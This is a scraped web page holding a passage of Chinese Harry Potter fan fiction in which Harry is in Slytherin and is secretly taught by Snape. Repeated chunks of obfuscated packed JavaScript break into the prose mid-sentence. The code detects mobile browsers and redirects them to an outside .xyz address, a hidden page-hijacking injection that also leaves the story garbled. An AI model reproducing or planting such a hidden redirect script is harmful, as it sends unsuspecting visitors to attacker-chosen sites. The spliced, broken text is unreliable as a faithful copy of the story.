l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193127|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “声如洪钟。” “欢迎啊,”他说,“欢迎大家来到霍格沃茨开启新的学年!在宴会开始之前,我想说一句话:随意开吃吧!” 桌上的几百个盘子里凭空流出了各式各样的食物。烤牛肉、烤子鸡、猪排、腊肠、鱼肉、牛腩汤、土豆片、胡萝卜、肉汁、巧克力布丁、水果味馅饼、各种口味的冰激凌、薄荷味硬糖……马尔福一边跟身旁的同学搭话一边拿起眼前的银质餐具:“是的,他一直这样疯疯癫癫的———或许是上了年纪的缘故。对的,对,我之前就见过他,我见过邓布利多。你知道的,我爸爸和他有一些交情,他对我们一家,怎么说,一直很尊敬。” 四分之三个礼堂弥漫着一种快活的用餐气息。美食似乎在拉近人与人之间的距离上发挥着巨大作用———不同出身的孩子从对水果馅饼的共同赞美里开启了话题,一阵东拉西扯过后就成了无话不谈的密友。随处可见年轻的巫师把他们的胳膊随意地搁在旁边同学的肩上,教师席上的麦格教授和邓布利多教授也正朝对方举杯致意———几乎所有人都在享受空气中牛腩、鸡翅、布丁、南瓜汤的香气。 哈利本来想和那个叫托马斯的孩子一样大快朵颐,或者像韦斯莱一样恶狠狠地对付盘里的羊排———实际上,另外三张桌子旁的人都像是很久没吃东西似的狼吞虎咽着———但他很快发现,似乎坐在斯莱特林的长桌旁的人都被一种无形的规则约束着:从打扮上看明显更富裕的孩子先拿起刀叉,等他们开动了,其他孩子才低头看向自己的盘子,即使每个人的食物都多得根本吃不完;没有人会直接伸手去拿盘子里的鸡腿,尽快这样或许比他们小心翼翼地用刀子片出一片肉来更方便;他们用不同大小的勺子喝汤和吃布丁,时不时会用手绢擦去嘴角不经意沾上的一点油迹或者奶油。哈利不得不接受并顺从了这一切,小心翼翼地模仿着同学院的同学,并努力控制自己不在嚼牛肉的时候发出声音,以免显得太过狼狈。 用餐完毕后,新生排着队在级长的带领下去到宿舍。在乱成一团一锅粥的秩序里,哈利听见级长在讲着些关于会旋转的楼梯、费尔奇关禁闭的方式、学院杯的争夺等一切琐事———“顺便说一句,新生们,斯莱特林蝉联冠军很多年了。希望我们的优良传统能在你们这里得到保持。” 行进过程中,斯莱特林的队伍和格兰芬多的队伍并行过一小段路,直到要上楼梯才匆匆分开。哈利短暂地看到了罗恩·韦斯莱那头熟悉的红头发,想到进校前他的仗义相助,便友好地笑着跟他招招手,谁曾料想罗恩竟干脆地把头扭向一边。 “哈利·波特,”德拉科·马尔福阴阳怪气的声音在哈利背后响起,“我可得先提醒我们的乖小孩一句,别自作多情地分给格兰芬多任何人一个多余的眼神———你以为招人讨厌的格兰芬多会给你这个斯莱特林什么好果子吃。” 这时候,宿舍到了。级长正大声告诉新生们通过那副画着小胡子男人的巨型肖像时需要的口令: “水果味馅饼。” “味道好极了,不是吗?”哈利笑着跟马尔福说,然后率先爬进了宿舍里。 4. 假如斯内普不会再扣哈利的分 哈利很快再次见到了那位像一只巨大的黑蝙蝠一样的院长———西弗勒斯·斯内普穿着他那身黑袍子走进了魔药课教室。 “啊,瞧瞧这是谁,纳威·隆巴顿,我们新来的———大名鼎鼎的人物啊。” 哈利周围的斯莱特林发出一阵轻蔑的笑声。 斯内普教授扬起嘴唇。 “好了隆巴顿先生,我相信你一定已经预习过百合精药水的做法,我很愿意邀请由你来告诉大家这种神奇药水的奇妙成分。当然,我是说,我们感到非常荣幸,不是吗?”他的声音并不比耳语响亮多少,却很清晰地传到传到了每一个人的耳朵里,那感觉就像一条沿着桌子腿慢慢抬起脑袋的毒蛇轻轻吐着蛇信子,比昨晚使用了“声如洪钟”的邓布利多更具震慑力。 斯莱特林这边又是一阵大笑。 纳威·隆巴顿涨红了脸。坐在他旁边的赫敏一边高高举起手一边回答: “2滴彩虹霜雨夜、半尺百合花、一勺月见棕榈叶和2勺犀牛角碎片,先生。” 纳威刚刚松了口气,就听斯内普慢悠悠地说: “格兰杰小姐,如果没记错的话,我刚刚叫到的是隆巴顿先生。格兰芬多为你的没礼貌扣十分。” “另外,隆巴顿先生,希望你接下来好好听课,别去管你那只丑陋的蟾蜍。假如你配出了百合精药水,一定要毫不犹豫地喝下去,因为它可以帮你恢复记忆,好使你想起那些虽然对神秘人不起效用但在我这里还是很实用的魔药知识。” 斯内普没去管斯莱特林的笑声和格兰芬多的抱怨声,面朝整个教室说:“你们来到这里是为了学习魔药配置的精密工艺与科学原理,虽然我并不指望你们中间能出几个魔药学天才,更不指望你们能明白从坩埚里升腾的白气背后藏着怎么样的美妙。”他顿了顿,突然往哈利的方向看过来:“在我的课堂里,我可以教你们怎样提高声望,酿造荣耀;可以教你们脱离低级趣味,调整审视周遭的眼光;可以教你们怎么你们于有所相之间破除虚妄,帮助你们对抗忘记,对抗一种群体性的遗忘;可以帮助你们在一团乱麻的无秩序里理出条缕与规律,甚至去揭开关于来处那些白雾一样浓稠而不可捉摸的神秘面纱,打开那扇通往有着无数条弯弯绕绕的小路的花园的大门。” “当然,这一切都建立在,你们当中没有太多巨怪的基础上。现在,请你们翻开课本———” 这节课临近结束的时候,纳威把坩埚炸了。斯内普教授不耐烦地冲他的桌子挥挥魔杖,然后走向下一张桌子。罗恩正徒劳地用课本挡住他的坩埚里那一团黑乎乎的液体,却毫不意外地得到了西弗勒斯教授的一顿嘲讽。成功按要求制出魔药的赫敏紧张地等着斯内普教授的表扬,但他只是淡淡地看了一眼,罗恩在一旁小声吐槽:“斯内普有什么了不起?”总而言之,在格兰芬多这边,西弗勒斯教授毫不掩饰地展示着他的针对;而在斯莱特林这边,他则表演着不讲道理的偏袒。 哈利很快发现了这位西弗勒斯·斯内普教授在对他和对其他斯莱特林学生的态度上的巨大不同。他一贯是懒洋洋的,但只要斯莱特林的学生没犯错,他总是能给他们找到一些可以让斯莱特林加分的理由———“啊德拉科先生,谢谢你在我的课堂上制止了你朋友放太多碎犀角的巨怪行为,斯莱特林加十分”———但他从来没有给哈利加过分,即使哈利在第一节魔药课上就显示出惊人的天赋。他有时会走到哈利的坩埚面前,看一眼坩埚里正在变清澈的液体,然后在哈利以为他会说出“波特先生,因为你在课上的优秀表现,斯莱特林加十分”的时候,转身离开,只留下哈利和液体倒影里的那双漂亮的绿眼睛懊丧地对望。西弗勒斯·斯内普似乎在尝试与哈利保持距离。 其实不止西弗勒斯教授,斯莱特林的每一个人和哈利之间似乎都有些不远不近的距离。真正成为霍格沃茨的学生后不久,哈利就弄明白了为什么马尔福在误以为他是麻瓜家庭出身时会有那么巨大的反应———斯莱特林相当看重血统和家族出身,这里的学生自觉按着血统的纯净程度和家庭地位排出了三六九等。像德拉科·马尔福,就是高贵的布莱克家族最年轻这一代唯一的孩子,身上流淌着纯净的巫师的血,家族有权有势,因此备受尊崇,在斯莱特林一年级学生里说一不二。哈利不一样,没人听说过莉莉这个名字,而哈利自己也不知道自己的父亲叫什么。没人认为这个来历不明的年轻巫师有任何值得结交之处———来自相对普通家庭的孩子更愿意尝试抱上大腿,富裕家庭的孩子则更喜欢在同阶级之间扩大朋友圈。 哈利并不愿意像一只哈巴狗一样往身边哪个家境显赫的同学凑———事实上,作为一个口袋里金加隆多得叮当响的隐藏富翁,哈利并没有什么需要旁人施舍的难处;他的背后也没有一个庞大笨重的家族,需要他在和从其他家族出来的年轻一辈之间走动巴结。身边同学或者谄媚或者轻蔑的眼神无一不使他想到了女贞路4号的德思礼一家,让他一阵一阵地感到恶心和讨厌。他也不愿意加入德拉科·马尔福一行对其他学院展开的挑衅活动,不打算大摇大摆地走到纳威·隆巴顿面前,捉走他的蟾蜍,然后狠狠嘲笑冲上来打抱不平的赫敏·格兰杰的大门牙;或者是走到罗恩·韦斯莱跟前装作不经意地扇扇鼻子面前的空气,说“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193128|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一股穷酸味”。马尔福本有意收纳哈利作为他的第三个跟班———因为他希望哈利的魔药学天赋能助力他拉近跟斯内普教授的关系———这似乎是他爸爸希望的,但哈利本人对这种和达力·德思礼无比相似的行为敬而远之。 因此,学院里的其他人总能看到哈利·波特独自一个人在霍格沃茨的各个角落闲逛,或者是抱着他那几本魔药书翻来翻去。他出没在图书馆的最深处,偶尔拿着麦格教授或者别的什么教授的签名去到禁书区;有时人们也看见他搭着两条腿躺在塔楼顶上,望着没有边际的天空和不知疲倦的猫头鹰。 万圣节的宴会上,一头巨怪闯进了地下教室。教授们都被派出去寻找巨怪的踪迹,学生们则跟着级长回到宿舍。等一切都结束的时候,哈利发现纳威、罗恩、赫敏三个人已经形影不离。 哈利偶尔会跟赫敏·格兰杰说话———或许是经常在图书馆碰面的缘故,两人关系还算不错。赫敏和哈利都没有太深的学院对立的概念,路上遇见了就打个招呼,都假装没看见罗恩和纳威的臭脸,有时甚至还在图书馆讨论某一个魔法。 “你得轻抖一下手腕,哈利。” 哈利得到了麦格教授的喜欢,这在包括麦格教授本人在内的所有人看来都不可思议———“我不敢相信竟然会有这样叫人喜欢的斯莱特林”;他在魔咒课上也表现相当出色———当西莫不小心点燃自己的头发的时候,哈利和赫敏的魔杖同时喷出清泉。但他的天分展现得最充分的还是魔药课:他已经开始自学二年级的课程。斯内普教授和最开始一样冷漠,只是从不知道哪个夜晚起,他就默许了哈利悄悄溜进他的办公室,和他一起看那只正在翻滚着药水的坩埚。 “教授,你在熬欢欣剂吗?你往欢欣剂里加了什么?” “一只小小椒薄荷。” 哈利没再见到邓布利多———仿佛在把哈利领进魔法世界后,这位有史以来最伟大的巫师就不负责任地忘记了要把跟哈利的身世都解释给他听的约定。哈利默默地茫然地揽住所有迎面而来的不可知,然后按自己的一套准则在霍格沃茨生活着。 这后来发生了很多事,比如纳威、罗恩、马尔福被一起关了禁闭,比如皮皮鬼把找蟾蜍的纳威锁进一间空教室里,比如哈利破格加入了魁地奇球队,成为了斯莱特林队有史以来最年轻的找球手。他骑在扫帚上,穿行于韦斯莱双子用力打过来的游走球中,在一次又一次的比赛中抓住那枚金色飞贼。西弗勒斯教授是本学年最后一次魁地奇球赛的裁判。他穿着他惯常穿的黑袍子飞行在空中,当哈利从高空往下看的时候,只觉得斯内普像自己的影子。 5. 假如阿兹班卡里没有关着哈利的教父。 海边。 哗啦,哗啦…… 鸽子蛋一样光滑的礁石上,趴着一条浑身湿淋淋的大黑狗,海浪不慌不忙地漫上来,又不慌不忙地收回去,刚刚好触碰到大狗因为喘气而剧烈起伏的身体。大狗的旁边还有一只姜黄色的猫,原本蓬松的毛发一根一根紧紧贴在身上,眼睛机警地扫视着四周的石头。大黑狗休息了一阵,似乎是缓过劲儿来了,甩甩身上没有干透的水珠,有点费力地用四条肌肉饱满的腿撑起身体,歪歪扭扭地从一块岩石跳向另一块岩石。猫跟在一边,但不是走在石头上,而是悬浮在半空里,随着狗的移动向前飘动着。 深夜已至,北斗无言,一切都在宛若寻常地运转。一狗一猫没有惹来任何人的注意,依着月光的指引上了岸。一切自然得仿佛只是一汪平静的池塘里冒出了两个水泡。或许是因为踩在坚实的地面上的缘故,狗的脚步变稳了许多;它甚至小跑起来。草地在沙沙作响。猫依然晃晃悠悠地跟着狗的行进晃晃悠悠地飘着,就好像由着一根线牵着走的风筝。 悬铃木的叶片影子轻轻浅浅地铺在地面,延伸向森林深处的小道上有风在毫无规律地吹着。又是一次云带来的明暗交接。大黑狗不见了。阴影处多了一个臂弯里抱着猫的男人。 “别担心,克鲁克山。” …… 世界如故。 …… 哈利并不准备回到女贞路4号过暑假,事实上,他已经想好了怎样在只有他一人的霍格沃茨狂欢———假如他没有试图藏进塔楼却被邓布利多发现的话。 “哦亲爱的哈利,霍格沃茨特快列车马上就要出发了,你得赶快坐上火车,回到你阔别已久的家里!”这是自从对角巷分开以来,邓布利多和哈利说的第一句话去。 “邓布利多教授,我可以自己一个人待在霍格沃茨———我平日里独来独往惯了。斯内普教授说他可以借给我一本很特别的教材,或许我可以留在魔药教室,好好钻研那些奇妙的药剂。” “那么哈利,谁来保证这两个月你的安全呢?我可不想九月回到霍格沃茨的时候,看到城堡已经被某个偷偷做实验的年轻人烧成了废墟。” “我会小心———” “哈利,这样的保证是最没有成本的。你知道,就在几天前,格兰芬多的隆巴顿先生、韦斯莱先生还有格兰杰小姐就因为误闯三楼的禁地,受了不小的惊吓———虽然韦斯莱先生的确是很出色的棋手,格兰杰小姐更是格外聪明的女巫———但这样的危险还是尽量避免经历为好。哈利,相信我,在那些散发着诱惑的未知面前,你不会想起你做出的这个小小的保证的。” “教授,我真的不想回到女贞路,您知道,我姨妈一家———” “你姨妈一家是你有着血缘关系的亲人。就凭这一点,他们不会伤害到你的。” “您接我的那天,佩妮姨妈说过,跟着您走了就不可以再回到女贞路。您也听得很清楚,不是吗?” “佩妮那边我会解决好的。哈利,回到女贞路,这是魔法部的规定。你要是希望九月份依然能出现在霍格沃茨,就最好遵守规定。”半月型镜片背后的眼神变得有些锋利而不可理喻,哈利看懂了这背后传出的威胁信号。 哈利很不情愿地踏上了火车,看着霍格沃茨逐渐变成一个小点。分别前邓布利多塞给他很大一把柠檬雪宝糖,哈利像是泄愤一般恶狠狠地扯去糖纸嚼碎糖果,还没尝到甜味就把糖吞进肚子。他百无聊赖地把玩着兜里的硬币,自己跟自己试了几次弹硬币的游戏。 或许是因为邓布利多打招呼在前,这个暑假比之前在女贞路4号十三年中的任何一天都要好过许多。佩妮姨妈给他收拾了一个单独的小房间,窗帘是好看的金红色,床上摆着松松软软的枕头。吃饭时餐桌上也多了哈利喜欢的糖浆水果馅饼,大块头达力被勒令不准对表弟拳打脚踢。远离了斯莱特林那些关于家族与血统不可跨越的鸿沟以及那些陈旧恶臭的等级观念,哈利听佩妮姨妈说话竟不再觉得尖刻刺耳。一切都在变得可爱起来———除了不能使用魔法———女贞路4号的日子似乎也不太糟糕。 更大的惊喜在后面。一天吃完晚饭,有人敲响女贞路4号的大门。是个陌生男人,身材高瘦,长相英俊;头发有些长,但明显打理过,透出几分典雅;他穿着夹克和牛仔裤,与他本人那种有些漫不经心的风格很是相配。他很有礼貌地冲着来开门的德思礼夫人点点头,说: “打扰了,女士,我找哈利·波特。” 佩妮姨妈的眼神和他短暂交汇,然后让开,她转头往屋里叫: “哈利,有客人。” 于是,像做梦一样,在那个白昼过后的仲夏夜,在那个蛰伏了数月的蝉终于钻出土面爬上树干的仲夏夜,哈利在他的房间里,与他父母上学时期的好友———教父小天狼星·布莱克相认。关上门,小天狼星拉过一把椅子,懒洋洋地靠在上面,把詹姆·波特和莉莉·伊万斯读书时的故事讲给哈利听。他的眼睛里面闪着快乐的光,讲到某个有趣的环节就和哈利一块放松地大笑起来,这使得他似乎年轻了好几岁,浑身洋溢着用不完的活力。 “所以,你是说,我的父母正在进行一场伟大的秘密冒险,因为当时的我实在太小了,没办法带在身边,所以被托付给姨父姨妈扶养?” 小天狼星收起他刚刚翘着的腿,难得露出认真的神色:“他们的使命太重要了,哈利,当初他们没办法离拒绝,现在他们也没办法离开。他们并不是不爱你,相反,他们非常爱你,甚至爱你胜过爱他们自己。只是这个世界上总有一些不得不做的事,等着一些被选中的人去完成。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193129|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的父母就是被选中的人吗?怪不得邓布利多教授说他们是最伟大的巫师。” …… “过去十三年你见过他们吗,教父?他们还好吗?他们都恢复到了你记忆里最好的样子?真是太好了!你来到我身边前,一直和他们待在一起?你是说他们也很想念我?太好了教父!这一切简直太好了!” “好的,小天狼星,我以后就这么叫你。我过得怎么样?啊,请一定帮我转告他们,我过得特别好!姨妈一家———怎么说,至少在我成为巫师以后,对我还算友善,我和教授们还有同学们相处得也很愉快!真的,请他们放心吧!” ……“他们的冒险和神秘人有关吗?我是说,就是那个鼎鼎有名的,纳威·隆巴顿对抗过的神秘人?学校发生了一些怪事,他们都说跟神秘人有关,但没人说清楚他是谁,有什么目的。小天狼星,你知道他吗?” ……“为什么这张合照被剪去了一个人呀?让我看看,这个长头发的人是你,这个和我有些像的人是不是我爸爸?还有这个,这是谁?我也会见到他吗?” “你们都是格兰芬多吗?你们会讨厌斯莱特林吗?妈妈有一个来自斯莱特林的朋友——虽然你们总是吵架?这真是太好啦!” “你是来接我的吗?你会带我去见爸爸妈妈吗?” “还不是时候?老天,你和邓布利多都这样说……你是说,爸爸妈妈的任务性质特殊,你也不知道他们现在在哪———自从你们不久前分别以后?我不伤心,真的,我一点也不伤心。没事的,小天狼星!我已经等了很久啦,多等一会儿也没关系!” “等他们的伟大冒险结束,我就能再见到他们了吧?”…… 那天晚上他们聊了很久,直到佩妮姨妈状若无意地敲了敲门,小天狼星才站起来,把椅子搬回原位,道一声“失礼了”然后同哈利告别。“我会给你寄礼物的,哈利。你也可以给我写信———你的猫头鹰知道应该去哪里找到我———我随时欢迎。” 哈利很高兴,并不单单是因为城堡中那么多只猫头鹰里终于有一只是为他而来。他兴奋地在床上滚来滚去,拿起爸爸、小天狼星还有卢平的合照翻来覆去看了很久,以致于没注意到窗外那条突然出现并久久守在那里的大狗,没注意到大狗旁边那只漂浮在半空中的姜黄色猫咪。 “是啊哈利……他们是多么伟大的人。……” …… 另外一双眼睛在暗处注视着发生的一切,包括姜黄色的猫,强壮的狗,还有那个连做梦时脸上都带着从未有过的灿烂笑意的男孩。 在那个脸上带笑的男孩的梦里,他额头上的伤疤疼了。 …… 小天狼星这样回答关于神秘人的那个问题: “从来没有什么神秘人。我只能告诉你这么多。” 6. 假如哈利不是和邓布利多一起上小课 在霍格沃茨,如果你想找到哈利·波特,就去爬一爬塔楼顶,逛一逛图书馆,望一望那棵高大的树,或者蹲守在城堡的每一个楼道口,总有希望碰到这位总是一个人游荡在校园里的二年级巫师。 霍格沃茨里有一棵树,人们都叫它打人柳。进校的第二年初,哈利·波特找到了让那棵树收敛狂躁的方法。从此人们经常看见他出现在那棵树旁,不知道拨弄些什么开关,让打人柳停住她的枝条,然后走进树里不见踪迹。 霍格沃茨里藏着一间屋子,没人说得清那屋子是什么样子、在什么位置。有时候人们在楼道里看到哈利往传说中那间屋子的方位走,心血来潮悄悄跟在他后面却总是跟丢。 没人知道,在打人柳掩映着的尖叫棚屋里,有时会藏着一只黑色的大狗和一只姜黄色的猫。 也没人知道,在那间被叫做“有求必应屋”的房子里,冷漠刻薄的魔药学老师斯内普教授在教哈利一些或许应该归类在黑魔法防御这一学科的魔咒——— 自从哈利从小天狼星那里听来了西弗勒斯教授和自己母亲那一段渊源———二人曾亲密无间———并向斯内普教授坦白自己已经知晓之后,斯内普教授不再试图避开哈利。他总是不加掩饰的望着那双和莉莉·伊万斯一样绿色的眼睛,尽管他依然嘴硬地坚持: “波特,真是让人讨厌的姓氏。只是看在过往的某些情分上,我并不放心把你交给邓布利多招来的那几个莫名其妙的家伙。” “说些别的吧,教授。你为什么会这么多稀奇古怪的魔咒?我从来没在任何一本书上见过他们。” “专心点哈利。你那旺盛的好奇心应该用在更重要的地方。” 就这样,哈利·波特这位全学校最孤僻的学生和斯内普·西弗勒斯这位全学校最冷漠的教授一起,徜徉在一道道咒语连成的海洋。 甚至有的时候———碰上西弗勒斯心情好,他会在有求必应屋设置出一间带着一个冥想盆的屋子,然后用魔杖指着太阳穴,抽出一些亮晶晶的银白色液体,用一只透明的玻璃瓶子装好,再放入盆子。 “来吧哈利,我们一起去看看那些你无数次想象过的场景。” 他把魔杖的一头伸过来让哈利握住,勉强算是牵着哈利一起进了冥想盆,在持续两三秒钟的旋转之后,有求必应屋的景象抬升而起,消失不见,两个人来到一片青悠悠的草坪。 春天河边泥土的气息裹着风来到哈利的身边,他伸出手,没有摸到风的潮湿,指尖却抓住了暖洋洋的春阳。阳光照耀着的小河在不远处的树丛间流过,那里绣着一片墨绿色的树荫。蓝得很干净的天泛起一点点白色———原来是云朵,悠然地在远方飘着。 草地上也有一团洁白———是一个十二三岁的小姑娘,正坐在那里看书。很快向她跑过去一个穿着明显大了的衣服的男孩,男孩手里拿了花,花在女孩面前一张一合。 “喜欢这朵花吗,莉莉?” “佩妮说了,这只是蜘蛛尾巷令人讨厌的斯内普家的男孩的把戏。她不叫我跟你玩。” 女孩做了一个鬼脸,把书放到一边,舒展开身体躺在绒绒的草尖上。她闭着眼睛,却用力地立起耳朵。不知道男孩和她说了什么,很快女孩就从草坪的怀抱里爬起,两个人咯咯笑成一团,蹦蹦跳跳地走向不远处的秋千…… 风起舞,深草上演了一场疯狂的摇滚[1]。场景开始旋转。隔着重重雾,哈利看见女孩一双漂亮又熟悉的绿色眼睛…… 冥想盆里的世界正在呈现新的画面,哈利看见了站在站台上的女孩和男孩,也看见了女孩的姐姐。他们激烈争吵: “你以为我想到某个荒唐的城堡去——去———去学着成为一个———一个怪物!” “我不是怪物,这么说真难听。”女孩生气地跺跺脚, “佩妮,我知道你偷偷给你所谓的“怪物”学校校长写过信。———我看见他给你回信……” 叫佩妮的孩子转身哭着跑走了。女孩愣了一两秒,面上显露出很多难过。等到和男孩一起登上火车,等到隆隆的火车精神饱满地吐出一口又一口浓烟,他们的世界在轰鸣,而她一直在哭。 一群吵吵闹闹的年轻人从他们包厢经过,和他们吵过一架后,男孩转身对女孩说: “可是我们出发了!” “是的,我们出发了。”女孩点点头,终于有了一点笑意。 …… 女孩从女孩逐渐变成女人。她的魔药学得很好,一个胖胖的教授很喜欢她,还邀请她加入他的俱乐部。她的身边多了些朋友———火车上遇到过的那些同样年轻同样属于格兰芬多的小伙子———尽管一开始她并不喜欢总是在捣蛋的他们。男孩是她愿意保持来往的唯一一个斯莱特林———事实上,她和其他斯莱特林同学关系并不融洽,甚至跟其中的一些人有过冲突;她被叫过“泥巴种”,只是哈利看不清楚这个蔑称究竟出自谁的口中,视线里的一些区域被灌满白雾,哈利只能依稀听见一种金属与桌面碰撞的声音…… 新场景覆盖了混乱的画面,一切重新变得清晰,但不知道为什么,哈利看到的画面视角逐渐变得奇怪,像是一个人在什么地方偷偷看到的那样。男孩不再在画面里出现,女孩和一个头发又黑又乱的男人———那群小伙子中的一员,一个跟哈利除了眼睛几乎一模一样的人——结了婚。 在远离哈利熟悉的一切的山谷中,女人和她的丈夫安了家。家里没有烧火,却有一种一直被火焰包裹的温暖感觉。窗帘、桌布、沙发在色调上浑然一体,金红色的房间时而乱作一团,时而整洁有序。一位老太太经常到他们家串门,小天狼星他们也常来做客。常客中还有一个小个子男人———哈利没见过他,但他总是和小天狼星他们站在一起。 曾经的那根柳木变得比被做成武器前更加柔软,就像山谷藏起昔日凤凰社的战士,女人和他的丈夫都收起了他们曾经用来战斗的魔杖。 画面变得更加迷糊了,一切似乎都被什么玻璃材质的东西蒙盖着。画面时不时发生扭曲,哈利眼前一次又一次闪过白光。有东西被剥离、被拉扯,又被类似于手的东西小心翼翼扶回原位;世界旋转着,每个方向都有反光,就像有镜子在世界之下照着,叫人分不清什么是实在的,什么是幻像。 “教授,你还在我旁边吗?”眼前白雾浓得像做水果味馅饼时洒多了糖霜,厚厚地铺在世界的表面,遮挡住哈利几乎所有视线。 但还是有什么支撑着冥想盆里的世界,坚定的,冷毅的,使这里好歹没有完全崩塌;使哈利还能够贪婪地看着这些他无数次想象过的一切,看着那些他来到世上之前发生的一切。 在越来越支离破碎的画面里,在揭开白雾一角的偷窥里,哈利终于看到了他最想看到的一幕——— 女人山谷中的家里添了一个小孩,软乎乎,胖嘟嘟,在妈妈的臂弯里快活地咧着嘴笑着。小天狼星给那小孩买了一把儿童扫帚,女人一边嘴里埋怨这个不正经的教父,一边扬起脸露出明晃晃的欢喜。像是突然意识到了什么一样,她向哈利和西弗勒斯教授站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193130|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立的位置看了一眼,然后微微点头,眼里各种思绪翻涌,但终归于友好亲切,以及一种饱含着深情的怀念。哈利一开始以为母子的血缘让斯内普记忆里的妈妈有了血肉穿越时空看到自己,但他很快意识到莉莉·伊万斯应该是看到了那个时空里出现的什么熟悉的人,并决定为和这个人发生的过往释怀,好让那已经发生的一切回到事情最美好的样子。 是这样吗?莉莉。那天的你,是抱着这样的心情吗? 天边有云层拢来,冥想盆里开始下雨。谁的眼泪一串一串藏进云层或者大地。 “那个婴儿是我,对吗,教授?” 哈利的声音很轻很小,像是怕扰乱了一个很美好的梦。小小的他原来离孤僻孤独都那么远,他原来也是蜜罐里长大的小孩。 画面仍然在扭曲,直到人力无法抗衡。回忆被迫中断,两人回到现实,哈利看到斯内普教授的额角有微汗冒出。 在踏上有求必应屋地板的那一刻他突然想起: 书上说过,观看回忆并不是什么耗费体力的是。 那么?是什么让你这样使出全力呢,教授? 哈利试图回忆刚刚在冥想盆里看到的一切,于蛛丝马迹之间找寻一个缘由,可是伤疤又疼了,思绪被扰乱了。 刚刚看到了什么呢? 一块草坪。 草坪上有妈妈和小时候的教授。 其他呢?其他的没有在记忆里留下痕迹。 …… 我想要向教授道歉来着…… 因为很多年前爸爸开的一个很过分的玩笑。 似乎我早应该这样做…… 是什么玩笑呢? 忘记了。 …… 忘记了。可是没关系。 斯内普教授还会再带我看的。 我为什么这样笃定呢?奇怪。 就好像,斯内普教授已经在不久之前做过这样的事一样。 …… 伤疤好疼。好久没这么疼过了。 我看到了什么呢? …… 哈利在黑魔法防御上很有天分,学各种咒语都学得飞快。只是有一项魔法,他始终无法理解其奥义: 大脑封闭术。 “哈利,你必须学会它。你不能总是把你那漂亮的小脑瓜暴露在别人的虎视眈眈里———谁知道会不会有谁想要胡乱修改些什么。” 斯内普教授刚刚从哈利脑海中浮现的景象里退出来。说完这句话,他烦躁地皱皱眉头,然后递给出了一身汗的哈利一瓶绿色的药剂: “喝了这个,你会没那么难受。当然,要是你哪天学会了,你就再也不用担心这样的难受滋味了。这比什么药剂都管用。” “这是没办法的事,哈利。你必须学会这个,不管有多么艰难。你想知道的一切答案,被白雾锁住的一切困扰,都藏在一个花园里。花园的钥匙,就是大脑封闭术。你会拿到它的,这只是需要一点时间……” 哈利把学大脑封闭术遇到困难的事情告诉了小天狼星。小天狼星若有所思地点点头: “斯内普是大脑封闭术大师———虽然很不想承认———但你只管专心跟着他学,总能学会的。” …… 哈利有一次问斯内普教授: “教授,我们为什么不在教室办公室或者某间空教室学习大脑封闭术呢?” “因为最好别让别人知道你在学这个。这是你、讨厌的布莱克还有我之间的秘密。” 7. 假如哈利没对抗日记里的里德尔 斯莱特林学生背后的关系网盘根错节,家族的每一步动作都干涉着这群年轻人的交友与生活。个人喜恶的影响在这里被压制到最小,有心之人通过观察这里学生的离散聚拢判断着那些牵动巫师界走势的暗流流向。 当然,十二岁的哈利·波特不需要操心这些权贵与权贵之间、大人与大人之间的动向。他正坐在长桌前享用被当作早餐的水果味馅饼。果酱甜甜的有些腻人,却正对哈利的胃口。 今天的课集中在十点以后,吃完早餐的哈利有足够的闲暇在学校里溜达。他轻巧地从霍格沃茨某个敞开的窗子翻跃而出,缘着城堡墙壁上突出的砖石向上攀登,来到城堡顶上;他踮起脚尖控制自己的身体不要乱晃,努力控制着平衡站在城堡的最高点,从那里望见不远处波光粼粼的大湖。 斯莱特林隐隐约约分成了两派。德拉科从哈利攀出的窗子探出头来,大声地询问哈利要不要做出与他漂亮的头脑相称的明智选择;但哈利的注意力似乎全在大湖上。 拥有四大学院的霍格沃茨似乎突然有了五个学院。哈利在期间行走,并不能找到他的归属。哈利有时觉得孤独,有时又觉得这没什么大不了的。他并不是无处可去的人———他的教父偶尔光临尖叫棚屋,他的老师总是等在有求必应屋。因此哈利对那些热衷于拉帮结派且习惯于用鼻孔看其它个人和团体的同学展示出极大的包容。 包容并不能换来相安无事———至少在那些好不知趣的人那里。一些没那么友善的恶作剧找上门来,就比如某天早上,哈利的眼镜不见了。 哈利赌一加隆:总不能是眼镜自己长脚跑走了。 只是不带眼镜似乎并不影响哈利视物———他的近视不知道什么时候被治好了。哈利索性不去管那副丢失的眼镜,只是在学校里溜达时偶尔会留意一些可能藏匿东西的地方。 